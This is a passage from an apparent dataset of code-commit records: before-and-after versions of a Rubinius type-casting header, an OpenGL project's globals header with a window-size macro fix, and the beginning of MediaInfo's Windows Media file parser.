try_as_instance(const Object* obj) {\n      if(!instance_of<T>(obj)) {\n        return NULL;\n      }\n\n      return static_cast<const T*>(obj);\n    }\n\n  \/**\n   *  Returns cNil cast to another type of rubinius::Object. Useful in\n   *  cases where e.g. a String* would be returned but cNil is returned\n   *  as an exceptional value.\n   *\n   *\/\n  template <class T>\n    static inline T* nil() { return static_cast<T*>(cNil); }\n\n  \/**\n   *  Converts one type into another without a type check. This is\n   *  like reinterprete_cast<>(), but we use it so we can easily\n   *  find where we're doing explicit force casts.\n   *\/\n  template <class T>\n    static inline T* force_as(ObjectHeader* obj) {\n      return reinterpret_cast<T*>(obj);\n    }\n\n  template <class T>\n    static inline const T* force_as(const ObjectHeader* obj) {\n      return reinterpret_cast<const T*>(obj);\n    }\n\n  void type_assert(STATE, Object* obj, object_type type, const char* reason);\n\n#include \"gen\/kind_of.hpp\"\n\n}\n\n#endif\n<commit_msg>Fix a __GNUC__ check to work with GCC 5<commit_after>#ifndef RBX_VM_OBJECT_UTILS_HPP\n#define RBX_VM_OBJECT_UTILS_HPP\n\n#include \"builtin\/object.hpp\"\n#include \"exception.hpp\"\n\n\/**\n *  @file   object_utils.hpp\n *\n *  Defines all the most common operations for dealing with\n *  objects, such as type checking and casting.\n *\/\n\n\/\/ A stupid work around for g++ changing it's behavior on 4.3\n\n#if __clang__ || __GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 3)\n  #define SPECIALIZATION_STORAGE\n#else\n  #define SPECIALIZATION_STORAGE static inline\n#endif\n\nnamespace rubinius {\n\n  \/**\n   *  Ruby type system subtype check.\n   *\n   *  Given builtin-class +T+, return true if +obj+ is of class +T+\n   *\/\n  template <class T>\n    static inline bool kind_of(const Object* obj) {\n      if(obj->reference_p()) {\n        return obj->type_id() == T::type;\n      }\n      return false;\n    }\n\n  \/**\n   * A specialized version for completeness.\n   *\/\n  template <>\n    SPECIALIZATION_STORAGE bool kind_of<Object>(const Object* obj) {\n      return true;\n    }\n\n  \/**\n   *  Ruby type system class check.\n   *\n   *  Another version of kind_of that shouldn't be specialized for subtype\n   *  compatibility. I.e., only whether object's class is this specific\n   *  one.\n   *\/\n  template <class T>\n    static inline bool instance_of(const Object* obj) {\n      if(obj->reference_p()) {\n        return obj->type_id() == T::type;\n      }\n      return false;\n    }\n\n  \/**\n   * A specialized version for completeness.\n   *\/\n  template <>\n    SPECIALIZATION_STORAGE bool instance_of<Object>(const Object* obj) {\n      return obj->reference_p() && (obj->type_id() == ObjectType);\n    }\n\n  \/*\n   *  There is NO reason why as() or try_as() should be getting\n   *  NULL arguments. That means something has not been properly\n   *  initialised (to cNil if nothing else.)\n   *\/\n\n  \/**\n   *  Cast Object* into builtin T*.\n   *\n   *  Given builtin class +T+, return +obj+ cast as type +T*+. If\n   *  +obj+ is not of type +T+, throw's a TypeError exception.\n   *\n   *  @see  builtin\/object.cpp has specialised versions.\n   *\/\n  template <class T>\n    static inline T* as(Object* obj) {\n      if(!kind_of<T>(obj)) {\n        TypeError::raise(T::type, obj);\n      }\n\n      return static_cast<T*>(obj);\n    }\n\n  \/**\n   *  Cast const Object* into builtin const T*.\n   *\n   *  Given builtin class +T+, return +obj+ cast as type +T*+. If\n   *  +obj+ is not of type +T+, throw's a TypeError exception.\n   *\n   *  @see  builtin\/object.cpp has specialised versions.\n   *\/\n  template <class T>\n    static inline const T* as(const Object* obj) {\n      if(!kind_of<T>(obj)) {\n        TypeError::raise(T::type, obj);\n      }\n\n      return static_cast<const T*>(obj);\n    }\n\n  \/**\n   * A specialized version for completeness.\n   *\/\n  template <>\n    SPECIALIZATION_STORAGE Object* as<Object>(Object* obj) {\n      return obj;\n    }\n\n  \/**\n   * A specialized version for completeness.\n   *\/\n  template <>\n    SPECIALIZATION_STORAGE const Object* as<Object>(const Object* obj) {\n      return obj;\n    }\n\n  \/**\n   *  Cast Object* into builtin T*.\n   *\n   *  Given builtin class +T+, return +obj+ cast as type +T*+. If\n   *  +obj+ is not exactly of type +T+, throw's a TypeError exception.\n   *\n   *  @see  builtin\/object.cpp has specialised versions.\n   *\/\n  template <class T>\n    static inline T* as_instance(Object* obj) {\n      if(!instance_of<T>(obj)) {\n        TypeError::raise(T::type, obj);\n      }\n\n      return static_cast<T*>(obj);\n    }\n\n  \/**\n   *  Cast const Object* into builtin const T*.\n   *\n   *  Given builtin class +T+, return +obj+ cast as type +T*+. If\n   *  +obj+ is not exactly of type +T+, throw's a TypeError exception.\n   *\n   *  @see  builtin\/object.cpp has specialised versions.\n   *\/\n  template <class T>\n    static inline const T* as_instance(const Object* obj) {\n      if(!instance_of<T>(obj)) {\n        TypeError::raise(T::type, obj);\n      }\n\n      return static_cast<const T*>(obj);\n    }\n\n  \/**\n   *  Non-raising version of as().\n   *\n   *  Similar to as<>, but returns NULL if the type is invalid. ONLY\n   *  use this when doing a conditional cast.\n   *\n   *  @see  builtin\/object.cpp has specialised versions.\n   *\/\n  template <class T>\n    static inline T* try_as(Object* obj) {\n      if(!kind_of<T>(obj)) {\n        return NULL;\n      }\n\n      return static_cast<T*>(obj);\n    }\n\n  \/**\n   *  Non-raising version of as(), for const objects.\n   *\n   *  Similar to as<>, but returns NULL if the type is invalid. ONLY\n   *  use this when doing a conditional cast.\n   *\n   *  @see  builtin\/object.cpp has specialised versions.\n   *\/\n  template <class T>\n    static inline const T* try_as(const Object* obj) {\n      if(!kind_of<T>(obj)) {\n        return NULL;\n      }\n\n      return static_cast<const T*>(obj);\n    }\n\n  \/**\n   *  Non-raising version of as_instance().\n   *\n   *  Similar to as_instance<>, but returns NULL if the type is invalid. ONLY\n   *  use this when doing a conditional cast.\n   *\n   *  @see  builtin\/object.cpp has specialised versions.\n   *\/\n  template <class T>\n    static inline T* try_as_instance(Object* obj) {\n      if(!instance_of<T>(obj)) {\n        return NULL;\n      }\n\n      return static_cast<T*>(obj);\n    }\n\n  \/**\n   *  Non-raising version of as(), for const objects.\n   *\n   *  Similar to as<>, but returns NULL if the type is invalid. ONLY\n   *  use this when doing a conditional cast.\n   *\n   *  @see  builtin\/object.cpp has specialised versions.\n   *\/\n  template <class T>\n    static inline const T* try_as_instance(const Object* obj) {\n      if(!instance_of<T>(obj)) {\n        return NULL;\n      }\n\n      return static_cast<const T*>(obj);\n    }\n\n  \/**\n   *  Returns cNil cast to another type of rubinius::Object. Useful in\n   *  cases where e.g. a String* would be returned but cNil is returned\n   *  as an exceptional value.\n   *\n   *\/\n  template <class T>\n    static inline T* nil() { return static_cast<T*>(cNil); }\n\n  \/**\n   *  Converts one type into another without a type check. This is\n   *  like reinterprete_cast<>(), but we use it so we can easily\n   *  find where we're doing explicit force casts.\n   *\/\n  template <class T>\n    static inline T* force_as(ObjectHeader* obj) {\n      return reinterpret_cast<T*>(obj);\n    }\n\n  template <class T>\n    static inline const T* force_as(const ObjectHeader* obj) {\n      return reinterpret_cast<const T*>(obj);\n    }\n\n  void type_assert(STATE, Object* obj, object_type type, const char* reason);\n\n#include \"gen\/kind_of.hpp\"\n\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#ifndef __GLOBALS_HPP_INCLUDED\n#define __GLOBALS_HPP_INCLUDED\n\n#include <string>\n#include <vector>\n\n\/\/ Include GLEW\n#ifndef __GL_GLEW_H_INCLUDED\n#define __GL_GLEW_H_INCLUDED\n#include <GL\/glew.h>\n#endif\n\n\/\/ Include GLFW\n#ifndef __GLFW3_H_INCLUDED\n#define __GLFW3_H_INCLUDED\n#include <glfw3.h>\n#endif\n\n\/\/ Include GLM\n#ifndef __GLM_GLM_HPP_INCLUDED\n#define __GLM_GLM_HPP_INCLUDED\n#include <glm\/glm.hpp>\n#endif\n\n#ifndef ASPECT_RATIO\n#define ASPECT_RATIO (4\/3)\n#endif\n\n#ifndef WINDOW_WIDTH\n#define WINDOW_WIDTH 1600\n#endif\n\n#ifndef WINDOW_HEIGHT\n#define WINDOW_HEIGHT (WINDOW_WIDTH \/ ASPECT_RATIO)\n#endif\n\n#ifndef PI\n#define PI 3.14159265359f\n#endif\n\n#ifndef EARTH_RADIUS\n#define EARTH_RADIUS 6371000.0f\n#endif\n\n#ifndef TEXT_SIZE\n#define TEXT_SIZE 40\n#endif\n\n#ifndef FONT_SIZE\n#define FONT_SIZE 16\n#endif\n\n#ifndef MAX_FPS\n#define MAX_FPS 60\n#endif\n\nextern glm::vec3 position;\nextern glm::vec3 spherical_position;\nextern GLfloat horizontalAngle;\nextern GLfloat verticalAngle;\nextern GLfloat initialFoV;\nextern GLfloat earth_radius;\nextern bool hasMouseEverMoved;\nextern bool is_invert_mouse_in_use;\nextern bool is_key_I_released;\nextern bool is_world_loaded; \/\/ no more than one world object can be loaded. TODO: check that no more than one world is loaded!\nextern bool is_world_spherical;\n\ntypedef struct\n{\n    std::string texture_file_format;\n    std::string image_path;\n} TextureStruct;\n\ntypedef struct\n{\n    void *world_pointer;                     \/\/ pointer to the world (draw list).\n    std::string vertex_shader;               \/\/ filename of vertex shader.\n    std::string fragment_shader;             \/\/ filename of fragment shader.\n} ShaderStruct;\n\ntypedef struct\n{\n    uint32_t *node_data;\n} GraphStruct;\n\ntypedef struct\n{\n    GLuint nodeID;\n    void* graph_pointer;\n    glm::vec3 coordinate_vector;\n    std::vector<uint32_t> neighbor_nodeIDs;\n} NodeStruct;\n\ntypedef struct\n{\n    glm::vec3 coordinate_vector;     \/\/ coordinate vector.\n    GLfloat rotate_angle;            \/\/ rotate angle.\n    glm::vec3 rotate_vector;         \/\/ rotate vector.\n    glm::vec3 translate_vector;      \/\/ translate vector.\n    glm::mat4 model_matrix;          \/\/ model matrix.\n    glm::mat4 MVP_matrix;            \/\/ model view projection matrix.\n    void *species_pointer;           \/\/ pointer to the species.\n} ObjectStruct;\n\ntypedef struct\n{\n    \/\/ used for all files (for all species).\n    void *shader_pointer;                    \/\/ pointer to the shader object.\n    std::string model_file_format;           \/\/ type of the model file. supported file formats so far: `\"bmp\"`\/`\"BMP\"`, `\"obj\"`\/`\"OBJ\"`.\n                                             \/\/ TODO: add support for `\"SRTM\"`.\n    std::string texture_file_format;         \/\/ type of the texture file. supported file formats so far: `\"bmp\"`\/`\"BMP\"`, `\"dds\"`\/`\"DDS\"`.\n    std::string texture_filename;            \/\/ filename of the model file.\n    std::string vertex_shader;               \/\/ filename of vertex shader.\n    std::string fragment_shader;             \/\/ filename of fragment shader.\n    glm::vec3 lightPos;                      \/\/ light position.\n    std::vector<ObjectStruct> object_vector; \/\/ vector of individual objects of this species.\n    bool is_world;                           \/\/ worlds currently do not rotate nor translate.\n    std::string coordinate_system;           \/\/ used only for worlds (`is_world` == `true`). valid values: `\"cartesian\"`.\n                                             \/\/ TODO: add support for `\"spherical\"`. `\"spherical\"` is used eg. in SRTM heightmaps.\n    GLfloat world_radius;                    \/\/ radius of sea level in meters. used only for worlds.\n\n    \/\/ for `\"bmp\"` model files.\n    std::string model_filename;              \/\/ filename of the model file.\n    std::string color_channel;               \/\/ color channel to use for altitude data.\n} SpeciesStruct;\n\ntypedef struct\n{\n    GLuint screen_width;\n    GLuint screen_height;\n    GLuint x;\n    GLuint y;\n    GLuint text_size;\n    GLuint font_size;\n    const char *text;\n    const char *char_font_texture_file_format;\n    const char *horizontal_alignment;\n    const char *vertical_alignment;\n} PrintingStruct;\n\ntypedef struct\n{\n    double rho;\n    double theta;\n    double phi;\n} SphericalCoordinatesStruct;\n\ntypedef struct\n{\n    double southern_latitude;\n    double northern_latitude;\n    double western_longitude;\n    double eastern_longitude;\n} SphericalWorldStruct;\n\n#endif\n<commit_msg>Bugikorjaus: `WINDOW_WIDTH`, `WINDOW_HEIGHT` & `ASPECT_RATIO`.<commit_after>#ifndef __GLOBALS_HPP_INCLUDED\n#define __GLOBALS_HPP_INCLUDED\n\n#include <string>\n#include <vector>\n\n\/\/ Include GLEW\n#ifndef __GL_GLEW_H_INCLUDED\n#define __GL_GLEW_H_INCLUDED\n#include <GL\/glew.h>\n#endif\n\n\/\/ Include GLFW\n#ifndef __GLFW3_H_INCLUDED\n#define __GLFW3_H_INCLUDED\n#include <glfw3.h>\n#endif\n\n\/\/ Include GLM\n#ifndef __GLM_GLM_HPP_INCLUDED\n#define __GLM_GLM_HPP_INCLUDED\n#include <glm\/glm.hpp>\n#endif\n\n#ifndef WINDOW_WIDTH\n#define WINDOW_WIDTH (1600.0f)\n#endif\n\n#ifndef WINDOW_HEIGHT\n#define WINDOW_HEIGHT (900.0f)\n#endif\n\n#ifndef ASPECT_RATIO\n#define ASPECT_RATIO (WINDOW_WIDTH \/ WINDOW_HEIGHT)\n#endif\n\n#ifndef PI\n#define PI 3.14159265359f\n#endif\n\n#ifndef EARTH_RADIUS\n#define EARTH_RADIUS 6371000.0f\n#endif\n\n#ifndef TEXT_SIZE\n#define TEXT_SIZE 40\n#endif\n\n#ifndef FONT_SIZE\n#define FONT_SIZE 16\n#endif\n\n#ifndef MAX_FPS\n#define MAX_FPS 60\n#endif\n\nextern glm::vec3 position;\nextern glm::vec3 spherical_position;\nextern GLfloat horizontalAngle;\nextern GLfloat verticalAngle;\nextern GLfloat initialFoV;\nextern GLfloat earth_radius;\nextern bool hasMouseEverMoved;\nextern bool is_invert_mouse_in_use;\nextern bool is_key_I_released;\nextern bool is_world_loaded; \/\/ no more than one world object can be loaded. TODO: check that no more than one world is loaded!\nextern bool is_world_spherical;\n\ntypedef struct\n{\n    std::string texture_file_format;\n    std::string image_path;\n} TextureStruct;\n\ntypedef struct\n{\n    void *world_pointer;                     \/\/ pointer to the world (draw list).\n    std::string vertex_shader;               \/\/ filename of vertex shader.\n    std::string fragment_shader;             \/\/ filename of fragment shader.\n} ShaderStruct;\n\ntypedef struct\n{\n    uint32_t *node_data;\n} GraphStruct;\n\ntypedef struct\n{\n    GLuint nodeID;\n    void* graph_pointer;\n    glm::vec3 coordinate_vector;\n    std::vector<uint32_t> neighbor_nodeIDs;\n} NodeStruct;\n\ntypedef struct\n{\n    glm::vec3 coordinate_vector;     \/\/ coordinate vector.\n    GLfloat rotate_angle;            \/\/ rotate angle.\n    glm::vec3 rotate_vector;         \/\/ rotate vector.\n    glm::vec3 translate_vector;      \/\/ translate vector.\n    glm::mat4 model_matrix;          \/\/ model matrix.\n    glm::mat4 MVP_matrix;            \/\/ model view projection matrix.\n    void *species_pointer;           \/\/ pointer to the species.\n} ObjectStruct;\n\ntypedef struct\n{\n    \/\/ used for all files (for all species).\n    void *shader_pointer;                    \/\/ pointer to the shader object.\n    std::string model_file_format;           \/\/ type of the model file. supported file formats so far: `\"bmp\"`\/`\"BMP\"`, `\"obj\"`\/`\"OBJ\"`.\n                                             \/\/ TODO: add support for `\"SRTM\"`.\n    std::string texture_file_format;         \/\/ type of the texture file. supported file formats so far: `\"bmp\"`\/`\"BMP\"`, `\"dds\"`\/`\"DDS\"`.\n    std::string texture_filename;            \/\/ filename of the model file.\n    std::string vertex_shader;               \/\/ filename of vertex shader.\n    std::string fragment_shader;             \/\/ filename of fragment shader.\n    glm::vec3 lightPos;                      \/\/ light position.\n    std::vector<ObjectStruct> object_vector; \/\/ vector of individual objects of this species.\n    bool is_world;                           \/\/ worlds currently do not rotate nor translate.\n    std::string coordinate_system;           \/\/ used only for worlds (`is_world` == `true`). valid values: `\"cartesian\"`.\n                                             \/\/ TODO: add support for `\"spherical\"`. `\"spherical\"` is used eg. in SRTM heightmaps.\n    GLfloat world_radius;                    \/\/ radius of sea level in meters. used only for worlds.\n\n    \/\/ for `\"bmp\"` model files.\n    std::string model_filename;              \/\/ filename of the model file.\n    std::string color_channel;               \/\/ color channel to use for altitude data.\n} SpeciesStruct;\n\ntypedef struct\n{\n    GLuint screen_width;\n    GLuint screen_height;\n    GLuint x;\n    GLuint y;\n    GLuint text_size;\n    GLuint font_size;\n    const char *text;\n    const char *char_font_texture_file_format;\n    const char *horizontal_alignment;\n    const char *vertical_alignment;\n} PrintingStruct;\n\ntypedef struct\n{\n    double rho;\n    double theta;\n    double phi;\n} SphericalCoordinatesStruct;\n\ntypedef struct\n{\n    double southern_latitude;\n    double northern_latitude;\n    double western_longitude;\n    double eastern_longitude;\n} SphericalWorldStruct;\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/ File_Wm - Info for Windows Media files\r\n\/\/ Copyright (C) 2002-2008 Jerome Martinez, Zen@MediaArea.net\r\n\/\/\r\n\/\/ This library is free software: you can redistribute it and\/or modify it\r\n\/\/ under the terms of the GNU Lesser General Public License as published by\r\n\/\/ the Free Software Foundation, either version 3 of the License, or\r\n\/\/ any later version.\r\n\/\/\r\n\/\/ This library is distributed in the hope that it will be useful,\r\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\r\n\/\/ GNU Lesser General Public License for more details.\r\n\/\/\r\n\/\/ You should have received a copy of the GNU Lesser General Public License\r\n\/\/ along with this library. If not, see <http:\/\/www.gnu.org\/licenses\/>.\r\n\/\/\r\n\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n\/\/\r\n\/\/ Main part\r\n\/\/\r\n\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n\r\n\/\/---------------------------------------------------------------------------\r\n\/\/ Compilation conditions\r\n#include <MediaInfo\/Setup.h>\r\n#ifdef __BORLANDC__\r\n    #pragma hdrstop\r\n#endif\r\n\/\/---------------------------------------------------------------------------\r\n\r\n\/\/---------------------------------------------------------------------------\r\n#ifdef MEDIAINFO_WM_YES\r\n\/\/---------------------------------------------------------------------------\r\n\r\n\/\/---------------------------------------------------------------------------\r\n#include \"MediaInfo\/Multiple\/File_Wm.h\"\r\n#if defined(MEDIAINFO_MPEGPS_YES)\r\n    #include \"MediaInfo\/Multiple\/File_MpegPs.h\"\r\n#endif\r\n#include <ZenLib\/Utils.h>\r\nusing namespace ZenLib;\r\n\/\/---------------------------------------------------------------------------\r\n\r\nnamespace MediaInfoLib\r\n{\r\n\r\n\/\/***************************************************************************\r\n\/\/ Format\r\n\/\/***************************************************************************\r\n\r\n\/\/---------------------------------------------------------------------------\r\nFile_Wm::File_Wm()\r\n:File__Analyze()\r\n{\r\n    \/\/Configuration\r\n    DataMustAlwaysBeComplete=false;\r\n\r\n    \/\/Stream\r\n    Stream_Number=0;\r\n    Data_Parse_Padding=0;\r\n    MaximumDataPacketSize=(int32u)-1;\r\n    NumberPayloads=1;\r\n    NumberPayloads_Pos=0;\r\n    Data_Parse_Begin=true;\r\n    IsDvrMs=false;\r\n\r\n    \/\/TO DELETE\r\n    Buffer_MaximumSize=1000000000;\r\n}\r\n\r\n\/\/---------------------------------------------------------------------------\r\nvoid File_Wm::Read_Buffer_Finalize()\r\n{\r\n    \/\/Encryption management\r\n    \/*const Ztring& Encryption=Get(Stream_General, 0, \"Encryption\");\r\n    if (!Encryption.empty())\r\n    {\r\n        for (size_t StreamKind=Stream_General+1; StreamKind<Stream_Max; StreamKind++)\r\n            for (size_t Pos=0; Pos<(*Stream[StreamKind]).size(); Pos++)\r\n                Fill ((stream_t)StreamKind, 0, \"Encryption\", Encryption);\r\n    }\r\n\r\n        Fill(\"BitRate\", CurrentBitRate[StreamNumber]);\r\n    *\/\r\n\r\n    std::map<int16u, stream>::iterator Temp=Stream.begin();\r\n    while (Temp!=Stream.end())\r\n    {\r\n        std::map<std::string, ZenLib::Ztring>::iterator Info_Temp=Temp->second.Info.begin();\r\n        while (Info_Temp!=Temp->second.Info.end())\r\n        {\r\n            Fill(Temp->second.StreamKind, Temp->second.StreamPos, Info_Temp->first.c_str(), Info_Temp->second);\r\n            Info_Temp++;\r\n        }\r\n\r\n        if (Temp->second.StreamKind==Stream_Video && Temp->second.AverageTimePerFrame>0)\r\n            Fill(Temp->second.StreamKind, Temp->second.StreamPos, \"FrameRate\", ((float)10000000)\/Temp->second.AverageTimePerFrame, 3, true);\r\n        if (Temp->second.AverageBitRate>0)\r\n            Fill(Temp->second.StreamKind, Temp->second.StreamPos, \"BitRate\", Temp->second.AverageBitRate, 10, true);\r\n        if (Temp->second.LanguageID!=(int16u)-1 && Temp->second.LanguageID<(int16u)Languages.size())\r\n            Fill(Temp->second.StreamKind, Temp->second.StreamPos, \"Language\", Languages[Temp->second.LanguageID]);\r\n        else if (!Language_ForAll.empty())\r\n            Fill(Temp->second.StreamKind, Temp->second.StreamPos, \"Language\", Language_ForAll);\r\n        if (Temp->second.Parser)\r\n        {\r\n            if (Temp->second.StreamKind==Stream_Max)\r\n                if (Temp->second.Parser->Count_Get(Stream_Audio))\r\n                {\r\n                    Stream_Prepare(Stream_Audio);\r\n                    Temp->second.StreamKind=StreamKind_Last;\r\n                    Temp->second.StreamPos=StreamPos_Last;\r\n                }\r\n            Merge(*Temp->second.Parser, Temp->second.StreamKind, 0, Temp->second.StreamPos);\r\n        }\r\n        Temp++;\r\n    }\r\n\r\n    \/\/Purge what is not needed anymore\r\n    if (!File_Name.empty()) \/\/Only if this is not a buffer, with buffer we can have more data\r\n        Stream.clear();\r\n}\r\n\r\n\/\/***************************************************************************\r\n\/\/ Buffer\r\n\/\/***************************************************************************\r\n\r\n\/\/---------------------------------------------------------------------------\r\nvoid File_Wm::Header_Parse()\r\n{\r\n    if (!MustUseAlternativeParser)\r\n    {\r\n        \/\/Parsing\r\n        int128u Name;\r\n        int64u Size;\r\n        Get_UUID(Name,                                              \"Name\");\r\n        Get_L8 (Size,                                               \"Size\");\r\n\r\n        \/\/Filling\r\n        #ifndef __BORLANDC__\r\n            Header_Fill_Code(Name.hi, Ztring().From_UUID(Name));\r\n        #else \/\/__BORLANDC__\r\n            Header_Fill_Code(Name.hi&0xFFFFFFFF, Ztring().From_UUID(Name)); \/\/Borland does not like int64u for const?\r\n        #endif \/\/__BORLANDC__\r\n        Header_Fill_Size(Size);\r\n    }\r\n    else\r\n        \/\/Data\r\n        Header_Parse_Data();\r\n}\r\n\r\n\/\/---------------------------------------------------------------------------\r\nvoid File_Wm::Header_Parse_Data()\r\n{\r\n    \/\/Only Payload\r\n    if (Data_Parse_Begin)\r\n        Header_Parse_Data_Begin();\r\n\r\n    \/\/Parsing\r\n    Header_Parse_Data_Payload();\r\n}\r\n\r\n\/\/---------------------------------------------------------------------------\r\nvoid File_Wm::Header_Parse_Data_Begin()\r\n{\r\n    \/\/Parsing\r\n    PacketLength=0; SizeOfMediaObject=0;\r\n    int8u  Flags, ErrorCorrectionData_Length, ErrorCorrectionLengthType, SequenceType, PaddingLengthType, PacketLengthType;\r\n    bool   ErrorCorrectionPresent;\r\n    Element_Begin(\"Error Correction\");\r\n        Get_L1 (Flags,                                          \"Flags\");\r\n            Get_Flags (Flags&0x0F, ErrorCorrectionData_Length,  \"Error Correction Data Length\"); \/\/4 lowest bits\r\n            Skip_Flags(Flags, 4,                                \"Opaque Data Present\");\r\n            Get_Flags ((Flags>>5)&0x03, ErrorCorrectionLengthType, \"Error Correction Length Type\"); \/\/bits 6 and 7\r\n            Get_Flags (Flags, 7, ErrorCorrectionPresent,        \"Error Correction Present\");\r\n        if (ErrorCorrectionPresent && ErrorCorrectionLengthType==0 && ErrorCorrectionData_Length==2)\r\n        {\r\n            int8u  TypeNumber;\r\n            Get_L1 (TypeNumber,                                 \"Type\/Number\");\r\n                Skip_Flags((TypeNumber>>4)&0x0F, \"Type\");\r\n                Skip_Flags( TypeNumber    &0x0F, \"Number\");\r\n            Skip_L1(                                            \"Cycle\");\r\n        }\r\n    Element_End();\r\n    Element_Begin(\"Payload Parsing Information\");\r\n        Get_L1 (Flags,                                          \"Length Type Flags\");\r\n            Get_Flags (Flags, 0, MultiplePayloadsPresent,       \"Multiple Payloads Present\");\r\n            Get_Flags ((Flags>>1)&0x3, SequenceType,            \"Sequence Type\");\r\n            Get_Flags ((Flags>>3)&0x3, PaddingLengthType,       \"Padding Length Type\");\r\n            Get_Flags ((Flags>>5)&0x3, PacketLengthType,        \"Packet Length Type\");\r\n            Skip_Flags(Flags, 7,                                \"Error Correction Present\");\r\n        Get_L1 (Flags,                                          \"Property Flags\");\r\n            Get_Flags ( Flags    &0x3, ReplicatedDataLengthType, \"Replicated Data Length Type\");\r\n            Get_Flags ((Flags>>2)&0x3, OffsetIntoMediaObjectLengthType, \"Offset Into Media Object Length Type\");\r\n            Get_Flags ((Flags>>4)&0x3, MediaObjectNumberLengthType, \"Media Object Number Length Type\");\r\n            Get_Flags ((Flags>>6)&0x3, StreamNumberLengthType,  \"Stream Number Length Type\");\r\n        switch (PacketLengthType)\r\n        {\r\n            case 1 : {int8u  Data; Get_L1(Data,                 \"Packet Length\"); PacketLength=Data;} break;\r\n            case 2 : {int16u Data; Get_L2(Data,                 \"Packet Length\"); PacketLength=Data;} break;\r\n            case 3 :               Get_L4(PacketLength,         \"Packet Length\");                     break;\r\n            default: ;\r\n        }\r\n        switch (SequenceType)\r\n        {\r\n            case 1 : Skip_L1(                                   \"Sequence\"); break;\r\n            case 2 : Skip_L2(                                   \"Sequence\"); break;\r\n            case 3 : Skip_L4(                                   \"Sequence\"); break;\r\n            default: ;\r\n        }\r\n        switch (PaddingLengthType)\r\n        {\r\n            case 1 : {int8u  Data; Get_L1(Data,                 \"Padding Length\"); Data_Parse_Padding=Data;} break;\r\n            case 2 : {int16u Data; Get_L2(Data,                 \"Padding Length\"); Data_Parse_Padding=Data;} break;\r\n            case 3 :               Get_L4(Data_Parse_Padding,   \"Padding Length\");                           break;\r\n            default: Data_Parse_Padding=0;\r\n        }\r\n        Skip_L4(                                                \"Send Time\");\r\n        Skip_L2(                                                \"Duration\");\r\n    Element_End();\r\n\r\n    if (MultiplePayloadsPresent)\r\n        Header_Parse_Data_MultiplePayloads();\r\n}\r\n\r\n\/\/---------------------------------------------------------------------------\r\nvoid File_Wm::Header_Parse_Data_MultiplePayloads()\r\n{\r\n    \/\/Parsing\r\n    Element_Begin(\"Multiple Payloads\");\r\n        int8u Flags;\r\n        Get_L1 (Flags,                                          \"Flags\");\r\n            Get_Flags ( Flags    &0x3F, NumberPayloads,         \"Number of Payloads\"); \/\/6 bits\r\n            Get_Flags ((Flags>>6)&0x03, PayloadLengthType,      \"Payload Length Type\"); \/\/bits 6 and 7\r\n    Element_End();\r\n\r\n    \/\/Filling\r\n    NumberPayloads_Pos=0;\r\n}\r\n\r\n\/\/---------------------------------------------------------------------------\r\nvoid File_Wm::Header_Parse_Data_Payload()\r\n{\r\n    Element_Begin(\"Payload\");\r\n        int32u ReplicatedDataLength;\r\n        int8u  StreamNumber;\r\n        Get_L1 (StreamNumber,                                   \"Stream Number\");\r\n        StreamNumber&=0x7F; \/\/For KeyFrame\r\n        Element_Info(StreamNumber);\r\n        switch (MediaObjectNumberLengthType)\r\n        {\r\n            case 1 : Skip_L1(                                   \"Media Object Number\"); break;\r\n            case 2 : Skip_L2(                                   \"Media Object Number\"); break;\r\n            case 3 : Skip_L4(                                   \"Media Object Number\"); break;\r\n            default: ;\r\n        }\r\n        switch (OffsetIntoMediaObjectLengthType)\r\n        {\r\n            case 1 : Skip_L1(                                   \"Offset Into Media Object\"); break;\r\n            case 2 : Skip_L2(                                   \"Offset Into Media Object\"); break;\r\n            case 3 : Skip_L4(                                   \"Offset Into Media Object\"); break;\r\n            default: ;\r\n        }\r\n        switch (ReplicatedDataLengthType)\r\n        {\r\n            case 1 : {int8u  Data; Get_L1(Data,                 \"Replicated Data Length\"); ReplicatedDataLength=Data;} break;\r\n            case 2 : {int16u Data; Get_L2(Data,                 \"Replicated Data Length\"); ReplicatedDataLength=Data;} break;\r\n            case 3 :               Get_L4(ReplicatedDataLength, \"Replicated Data Length\");                             break;\r\n            default: ;\r\n        }\r\n        if (ReplicatedDataLengthType!=0 && ReplicatedDataLength>0)\r\n        {\r\n            if (ReplicatedDataLength>=8)\r\n            {\r\n                Get_L4 (SizeOfMediaObject,                      \"Size Of Media Object\");\r\n                Skip_L4(                                        \"Presentation Time\");\r\n                if (ReplicatedDataLength>8)\r\n                {\r\n                    Skip_XX(ReplicatedDataLength-8,             \"Payload Extension\");\r\n                }\r\n            }\r\n            else if (ReplicatedDataLength==1)\r\n            {\r\n                Skip_L1(                                        \"Presentation Time Delta\");\r\n                \/\/TODO\r\n            }\r\n            else\r\n                Skip_XX(ReplicatedDataLength,                   \"Replicated Data\");\r\n        }\r\n    Element_End();\r\n\r\n    if (MultiplePayloadsPresent)\r\n    {\r\n        switch (PayloadLengthType)\r\n        {\r\n            case 1 : {int8u  Data; Get_L1(Data,                 \"Payload Length\"); SizeOfMediaObject=Data;} break;\r\n            case 2 : {int16u Data; Get_L2(Data,                 \"Payload Length\"); SizeOfMediaObject=Data;} break;\r\n            case 3 :               Get_L4(SizeOfMediaObject,    \"Payload Length\");                             break;\r\n            default: SizeOfMediaObject=0; \/\/Problem\r\n        }\r\n    }\r\n\r\n    if (PacketLength==0 && SizeOfMediaObject>0)\r\n        PacketLength=Element_Offset+SizeOfMediaObject+Data_Parse_Padding;\r\n\r\n    if (NumberPayloads_Pos+1<NumberPayloads)\r\n        PacketLength-=Data_Parse_Padding; \/\/Padding is only for the last packet\r\n    if (PacketLength>MaximumDataPacketSize)\r\n        PacketLength=MaximumDataPacketSize; \/\/Some files seem to have a wrong SizeOfMediaObject, trying to parse them and trusting the header better than SizeOfMediaObject\r\n\r\n    \/\/Filling\r\n    Header_Fill_Code(StreamNumber, \"Packet\");\r\n    Header_Fill_Size(PacketLength);\r\n\r\n    PacketLength=0; \/\/Used\r\n}\r\n\r\n\/\/***************************************************************************\r\n\/\/ 